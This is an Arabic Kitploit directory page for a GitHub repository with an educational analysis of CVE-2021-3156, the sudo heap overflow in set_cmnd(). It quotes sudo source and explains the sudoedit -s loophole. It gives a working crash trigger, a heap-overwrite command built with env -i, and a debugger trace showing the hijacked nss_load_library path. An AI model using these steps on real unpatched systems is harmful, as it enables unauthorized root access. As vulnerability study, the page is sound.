Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-3156 — استغلال تعليمي وتنفيذ وتحليل لثغرة CVE-2021-3156، وهي تجاوز سعة مخزن مؤقت في الكومة (heap-based buffer overflow) في دالة set_cmnd() الخاصة بأداة sudo، مما يتيح تصعيد الامتيازات إلى صلاحيات الجذر (root) عبر وسائط سطر أوامر مصممة بعناية. | Kitploit
أدوات/GitHubGitHub/musergi/cve-2021-3156
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubmusergi/cve-2021-3156

CVE-2021-3156

استغلال تعليمي وتنفيذ وتحليل لثغرة CVE-2021-3156، وهي تجاوز سعة مخزن مؤقت في الكومة (heap-based buffer overflow) في دالة set_cmnd() الخاصة بأداة sudo، مما يتيح تصعيد الامتيازات إلى صلاحيات الجذر (root) عبر وسائط سطر أوامر مصممة بعناية.

عرض المستودع
24منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-3156

في هذا المستند نضمّن كل المعرفة اللازمة لفهم الكود الموجود في هذا المستودع ولماذا يعمل. يستند كل الشرح إلى التقرير الذي أعدّته QUALYS. هناك المزيد من أشكال الاستغلال الموضحة.

المتطلبات

الإصدارات المعرضة للثغرة من sudo هي الإصدارات القديمة من 1.8.2 إلى 1.8.31p2 وجميع الإصدارات المستقرة من 1.9.0 إلى 1.9.5p1، في تهيئتها الافتراضية.

تم اختبار هذا المستودع على Ubuntu 20.04 (sudo 1.8.31). فيه نفتح طرفية بصلاحيات الجذر (root).

التحليل

إذا تم تنفيذ Sudo لتشغيل أمر في وضع shell:

  • عبر الخيار -s، الذي يعيّن أعلام MODE_SHELL الخاصة بـ sudo.
  • عبر الخيار -i، الذي يعيّن أعلام MODE_SHELL وMODE_LOGIN_SHELL الخاصة بـ sudo.

عندها، في بداية main() الخاصة بـ sudo، تقوم parse_args() بإعادة كتابة argv، عبر دمج جميع وسائط سطر الأوامر وعبر إفلات جميع أحرف الميتا (meta-characters) باستخدام الباك سلاش (backslash).

    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

لاحقاً، في sudoers_policy_main()، تقوم set_cmnd() بدمج وسائط سطر الأوامر في مخزن مؤقت على الكومة (heap-based buffer) اسمه user_args وتقوم بإلغاء إفلات أحرف الميتا، "لأغراض مطابقة sudoers وتسجيل الأحداث":

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

إذا انتهت وسيطة من وسائط سطر الأوامر بشرطة مائلة عكسية واحدة، فعندئذٍ:

  • from[0] هو حرف الشرطة المائلة العكسية وfrom[1] هو محرف الإنهاء الصفري
  • يتم زيادة from ليشير إلى محرف الإنهاء الصفري
  • يتم نسخ محرف الإنهاء الصفري إلى المخزن المؤقت user_args، ويتم زيادة from مجدداً ليشير خارج الحدود
  • تقرأ حلقة while وتحاول نسخ أحرف خارج الحدود إلى المخزن المؤقت user_args.

بعبارة أخرى، set_cmnd() معرّضة لتجاوز سعة المخزن المؤقت على الكومة، لأن الأحرف خارج الحدود التي يتم نسخها إلى المخزن المؤقت user_args لم تكن مضمّنة في حجمه.

ولكن نظرياً، لا يمكن لأي وسيطة من وسائط سطر الأوامر أن تنتهي بشرطة مائلة عكسية واحدة: إذا تم تعيين MODE_SHELL أو MODE_LOGIN_SHELL (وهو شرط ضروري للوصول إلى الكود المعرض للثغرة)، فعندها يتم تعيين MODE_SHELL وتقوم parse_args() بالفعل بإفلات جميع أحرف الميتا، بما في ذلك الشرطات المائلة العكسية (أي أنها أفلتت كل شرطة مائلة عكسية بشرطة مائلة عكسية ثانية).

لكن عملياً، الكود المعرض للثغرة في set_cmnd() وكود الإفلات في parse_args() محاطان بشروط مختلفة قليلاً:

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

مقابل:

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

سؤالنا إذن هو: هل يمكننا تعيين MODE_SHELL وأحد MODE_EDIT أو MODE_CHECK (للوصول إلى الكود المعرض للثغرة) دون تعيين MODE_RUN الافتراضي (لتجنّب كود الإفلات)؟

يبدو أن الجواب هو لا: إذا قمنا بتعيين MODE_EDIT (الخيار -e) أو MODE_CHECK (الخيار -l)، فإن parse_args() تزيل MODE_SHELL من valid_flags وتخرج مع خطأ إذا حددنا علماً غير صالح مثل MODE_SHELL):

                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

لكننا وجدنا منفذاً (loophole): إذا قمنا بتنفيذ Sudo باسم sudoedit بدلاً من sudo، فإن parse_args() تعيّن تلقائياً MODE_EDIT لكنها لا تعيد تعيين valid_flags، وتتضمن valid_flags قيمة MODE_SHELL افتراضياً:

#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

وبالتالي، إذا قمنا بتنفيذ "sudoedit -s"، فإننا نعيًن كلاً من MODE_EDIT وMODE_SHELL (لكن ليس MODE_RUN)، ونتجنّب كود الإفلات، ونصل إلى الكود المعرض للثغرة، ونُحدث تجاوزاً في سعة المخزن المؤقت على الكومة user_args عبر وسيطة من وسائط سطر الأوامر تنتهي بشرطة مائلة عكسية واحدة:

sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

من وجهة نظر المهاجم، فإن هذا التجاوز في سعة المخزن المؤقت مثالي:

  • نتحكم في حجم المخزن المؤقت user_args الذي نُحدث فيه التجاوز (حجم وسائط سطر الأوامر المدمجة لدينا)؛
  • نتحكم بشكل مستقل في حجم ومحتوى التجاوز نفسه (وسيطة سطر الأوامر الأخيرة لدينا تليها مباشرة متغيرات البيئة الأولى لدينا، وهي غير مضمّنة في حساب الحجم)؛
  • يمكننا حتى كتابة بايتات صفرية في المخزن المؤقت الذي نُحدث فيه التجاوز (كل وسيطة من وسائط سطر الأوامر أو متغير بيئة ينتهي بشرطة مائلة عكسية واحدة يكتب بايتاً صفرياً إلى user_args).

على سبيل المثال، على نظام Linux بمعمارية amd64، يقوم الأمر التالي بتخصيص مخزن مؤقت user_args بحجم 24 بايت (قطعة كومة بحجم 32 بايت) و يكتب فوق حقل size للقطعة التالية القيمة "A=a\0B=b\0" (0x00623d4200613d41)، وحقل fd بالقيمة "C=c\0D=d\0" (0x00643d4400633d43)، وحقل bk بالقيمة "E=e\0F=f\0" (0x00663d4600653d45):

env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

الاستغلال

Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

الدالة التي تتعطل هي nss_load_library() من glibc (عند السطر 344) لأن المؤشر library تمت الكتابة فوقه.

static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }
تنزيل الأداة